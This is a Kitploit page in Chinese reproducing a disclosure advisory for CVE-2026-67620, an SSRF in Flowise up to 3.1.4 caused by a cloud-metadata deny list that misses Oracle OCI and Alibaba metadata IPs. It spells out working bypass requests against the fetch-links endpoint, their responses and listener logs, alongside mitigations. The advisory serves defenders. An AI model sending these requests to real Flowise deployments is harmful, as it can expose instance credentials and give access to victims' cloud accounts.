Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-67620-poc — CVE-2026-67620 - Flowise 因云元数据拒绝列表不完整导致 SSRF 漏洞(Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 可绕过 DEFAULT_DENY_LIST) | Kitploit
工具/GitHubGitHub/abdugafforov-bobur/cve-2026-67620-poc
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集Web安全云安全
GitHubabdugafforov-bobur/cve-2026-67620-poc

CVE-2026-67620-poc

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-67620 - Flowise 因云元数据拒绝列表不完整导致 SSRF 漏洞(Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 可绕过 DEFAULT_DENY_LIST)

查看仓库
1382个月前尚未审核

CVE-2026-67620 — Flowise 通过不完整的云元数据拒绝列表导致的 SSRF(Oracle OCI + 阿里云)

产品: FlowiseAI/Flowise — 可视化 LLM / AI 智能体构建器(约 54k ★) 受影响版本: ≤ 3.1.4 — 已确认在最新版本 3.1.4 中仍存在漏洞(2026-08-06 重新验证) 漏洞: 因拒绝列表不完整导致的服务端请求伪造 CWE: CWE-918(SSRF)· CWE-184(不完整的禁止输入列表) 严重程度: 中 — CVSS 3.1 6.5(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) 发现日期: 2026-07-10 · 报告至 VulnCheck(CVD): 2026-07-15 研究员: Bobur Abdugafforov(Mahadsec)

厂商状态 — 不会发布补丁。 Flowise 项目已正式 停止维护,不再接受安全漏洞报告。发布本公告 是为了让仍在运行 Flowise 的运维人员能够自行缓解该问题。


摘要

Flowise 内置了一个 SSRF 防护机制,用于阻止对云实例元数据服务的请求。该 拒绝列表覆盖了 AWS、GCP、Azure 和 DigitalOcean 所使用的 169.254.0.0/16 链路本地地址范围——但遗漏了两个不在该范围内的 元数据地址:

云服务商元数据 IP是否在拒绝列表中?
AWS / GCP / Azure / DigitalOcean169.254.169.254✅ 已阻止
Oracle Cloud (OCI)192.0.0.192❌ 未阻止
阿里云100.100.100.200❌ 未阻止

在 3.1.4(最新版本)中仍然存在 — 已于 2026-08-06 验证

官方 flowiseai/flowise:3.1.4 Docker 镜像(.../flowise-components/dist/src/httpSecurity.js)中随附的完整 DEFAULT_DENY_LIST 如下:

'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'

18 个条目。192.0.0.192 和 100.100.100.200 均未出现,且两者都不在任何列出的 CIDR 范围内——注意 192.168.0.0/16 并不覆盖 192.0.0.192,而且完全没有 100.64.0.0/10(CGNAT)条目。

该列表在 3.1.2 与 3.1.4 之间字节完全相同。这些版本之间对 httpSecurity.ts 的唯一改动是 isDeniedIP() 内部的 IPv4 映射 IPv6 规范化,这不会影响两个纯 IPv4 地址。

两个被遗漏的地址都不在常规私有或链路本地 CIDR 范围内:192.0.0.192 位于 IETF 协议分配块 192.0.0.0/24 内,看起来可全局路由,而 100.100.100.200 位于 CGNAT 范围 100.64.0.0/10 内,拒绝列表同样未覆盖该范围。因此,通过枚举“元数据 IP”和链路本地范围构建的防护会同时遗漏两者。

经过身份验证的用户可以强制 Flowise 服务器向这些地址发起任意 GET 请求。在 OCI 或阿里云部署上,这会访问实例元数据服务,该服务提供实例身份和凭据材料。

受影响的代码

packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST (编译后:httpSecurity.js:31-50)

该列表包含 169.254.169.254 和 169.254.0.0/16 范围,但不包含 192.0.0.192、100.100.100.200 或 100.64.0.0/10 CGNAT 范围。

请求流程:GET /api/v1/fetch-links → checkDenyList(url) → 经由 webCrawl 的 secureFetch()。secureFetch 会正确重新验证重定向目标,因此基于重定向的绕过已被处理——缺陷在于列表的内容,这意味着重定向到任一被遗漏的 IP 会像直接请求一样通过验证。

fetch-links 路由没有 checkPermission 中间件,因此任何经过身份验证的会话无论角色如何都能访问它。

受影响的端点

GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1

所有通过 secureFetch / secureAxiosRequest 并使用用户提供 URL 进行路由的节点都会受到同一拒绝列表的影响——例如 web-scraper 和 HTTP-request 节点。

关于可达性的说明: 当已公开的 chatflow 中存在获取 URL 的节点时,该问题还可通过公开的 POST /api/v1/prediction/:id 端点以未认证方式触达。

复现

已针对运行中的本地 Flowise 3.1.2 实例进行动态确认,监听器绑定到 192.0.0.192:80 和 100.100.100.200:80。

对照——AWS/GCP/Azure 元数据 IP 被正确阻止:

GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.

绕过 1 — Oracle Cloud 元数据:

GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}

绕过方式 2 — 阿里云元数据:

GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200

在监听器上观察到的服务端请求(证明该请求源自 Flowise 服务器,而非客户端):

# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -

# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -

随附一个 PoC 脚本:poc.py。

影响

任何已通过身份验证的 Flowise 用户——以及在公共 chatflow 中存在 URL 抓取节点的情况下,任何未通过身份验证的访问者——都可以让服务器向 Oracle Cloud 和阿里云的实例元数据服务发起 GET 请求,而该产品明确试图对其他云服务商阻止此类请求。

在受影响的部署中,这会暴露实例身份数据以及提供实例角色凭证的元数据端点,进而可借此进一步访问受害者的云账户。更广泛地说,同一缺陷还允许向 100.64.0.0/10 CGNAT 网段发起请求,该网段在许多云服务商网络内部是可路由的。

该严重性评级反映了利用此漏洞需要将 Flowise 实例托管在 OCI 或阿里云上。该缺陷本身——一个不完整的拒绝列表——与云服务商无关。

缓解措施

不会发布厂商补丁;该项目已停止维护。运维人员应:

  1. 从拒绝列表切换为允许列表。 仅允许部署所需的特定外部主机。这是唯一不会被下一个云服务商特定的元数据地址攻破的方法。
  2. 在网络层阻止被遗漏的网段——通过出站规则拒绝来自 Flowise 主机的 192.0.0.0/24 和 100.64.0.0/10——因为该应用无法被修复。
  3. 审计公共 chatflow 中的 URL 抓取节点(web-scraper、HTTP request),这些节点无需身份验证即可暴露此问题。
  4. 强制启用 IMDSv2(或要求通过 PUT 获取令牌的等效云服务商机制),使单纯的 SSRF GET 请求无法获取凭证。
  5. 迁移离开 Flowise,因为它不再接受安全维护。

如果为本地分支打补丁,请在 packages/components/src/httpSecurity.ts 的 DEFAULT_DENY_LIST 中添加:192.0.0.192、100.100.100.200,以及网段 192.0.0.0/24 和 100.64.0.0/10。

时间线

日期事件
2026-07-10在本地实时实例上发现并确认漏洞
2026-07-15报告给 VulnCheck 以进行协调披露
2026-08VulnCheck 告知该项目已停止维护且不再接受报告;已分配 CVE-2026-67620 并授权公开披露
—公开披露(本公告)

致谢

Bobur Abdugafforov — Mahadsec

许可证

本公告和 PoC 发布用于防御和教育目的。仅测试你拥有或获得授权测试的系统。

下载工具